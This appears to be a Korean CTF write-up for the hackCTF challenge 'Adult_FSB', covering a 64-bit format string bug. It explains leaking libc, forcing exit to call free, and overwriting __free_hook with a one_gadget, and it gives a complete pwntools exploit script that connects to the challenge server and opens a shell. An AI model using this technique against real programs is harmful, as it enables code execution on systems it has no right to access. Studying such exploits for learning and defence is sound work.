Pwnable/hackCTF

Adult_FSB (64bit fsb, exit)

exit함수 내부적으로 free 호출하는 것에 대한 글을 쉽게 찾아서 쉽게? 풀었던 것 같다.

Writeup


File information


Code

Main

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  signed int i; // [rsp+Ch] [rbp-144h]
  char buf; // [rsp+10h] [rbp-140h]
  unsigned __int64 v5; // [rsp+148h] [rbp-8h]
​
  v5 = __readfsqword(0x28u);
  Init(*(_QWORD *)&argc, argv, envp);
  for ( i = 0; i <= 1; ++i )
  {
    read(0, &buf, 300uLL);
    printf(&buf, &buf);
  }
  exit(0);
}
  • Main함수의 역할은 다음과 같다.
    • for문으로 다음 행동을 두번 반복한다.
      • read함수로 buf에 최대 300만큼 입력받는다.
      • printf함수로 buf를 출력한다.(fsb 발생)
    • for문 이후 exit함수로 종료한다.

Exploit

이 문제는 exit함수 동작중 내부 free함수를 호출하도록 조건을 만족시켜 free_hook을 통해 exploit을 하는 문제이다.

조금 더 자세한 내용

Exploit scenario

First phase

  • RET에 위치한 libc_start_main을 leak 하여 libc_base를 구한다.

Second phase

  • free함수가 호출 될 수 있도록 *(initial+8) = 0, *(initial) = 아무 값을 넣어준다.
  • free_hook에 one_gadget을 넣어준다.

Exploit code

유의할 점

  • 두 번쨰 입력 시 먼저 initial의 값을 바꿔주기 때문에 이후에 one_gadget주소에 출력한 값만큼 빼 주어야 한다.
from pwn import *
p=remote("ctf.j0n9hyun.xyz",3040)
libc=ELF("./libc.so.6")
​
#offset 7
py = ''
py += '%49$p'
​
p.sendline(py)
leak = int(p.recvline(),16)
libc_start_main = leak - 240
libc_base = libc_start_main - libc.symbols["__libc_start_main"]
​
initial_off = libc.symbols["__abort_msg"] + 0x60
initial = libc_base + initial_off
free_hook = libc_base + libc.symbols["__free_hook"]
​
one_gadget = libc_base + 0x4526a
one_gadget_low = one_gadget & 0xffff
one_gadget_middle = (one_gadget >> 16) & 0xffff
one_gadget_high = (one_gadget >> 32) & 0xffff
​
one_gadget_low = one_gadget_low
low = one_gadget_low
​
if one_gadget_middle > one_gadget_low:
    middle = one_gadget_middle - one_gadget_low
else:
    middle = 0x10000 + one_gadget_middle - one_gadget_low
​
if one_gadget_high > one_gadget_middle:
    high = one_gadget_high - one_gadget_middle
else:
    high = 0x10000 + one_gadget_high - one_gadget_middle
​
#offset 7
py2 = ''
py2 += '%{}c'.format(1)
py2 += '%14$n'
py2 += '%{}c'.format(low-1)
py2 += '%15$hn'
py2 += '%{}c'.format(middle)
py2 += '%16$hn'
py2 += '%{}c'.format(high)
py2 += '%17$hn'
py2 += 'A'*(8-len(py2)%8)
py2 += p64(initial+6)
py2 += p64(free_hook)
py2 += p64(free_hook+2)
py2 += p64(free_hook+4)
p.sendline(py2)
​
p.interactive()

 

Reference

'Pwnable > hackCTF' 카테고리의 다른 글

ChildHeap (double free, stdout leak)  (1) 2020.04.21
ChildFSB (64bit fsb)  (0) 2020.03.24
babyfsb (64bit fsb)  (0) 2020.03.23
you_are_silver (64bit fsb)  (0) 2020.03.21
훈폰정음  (0) 2020.03.10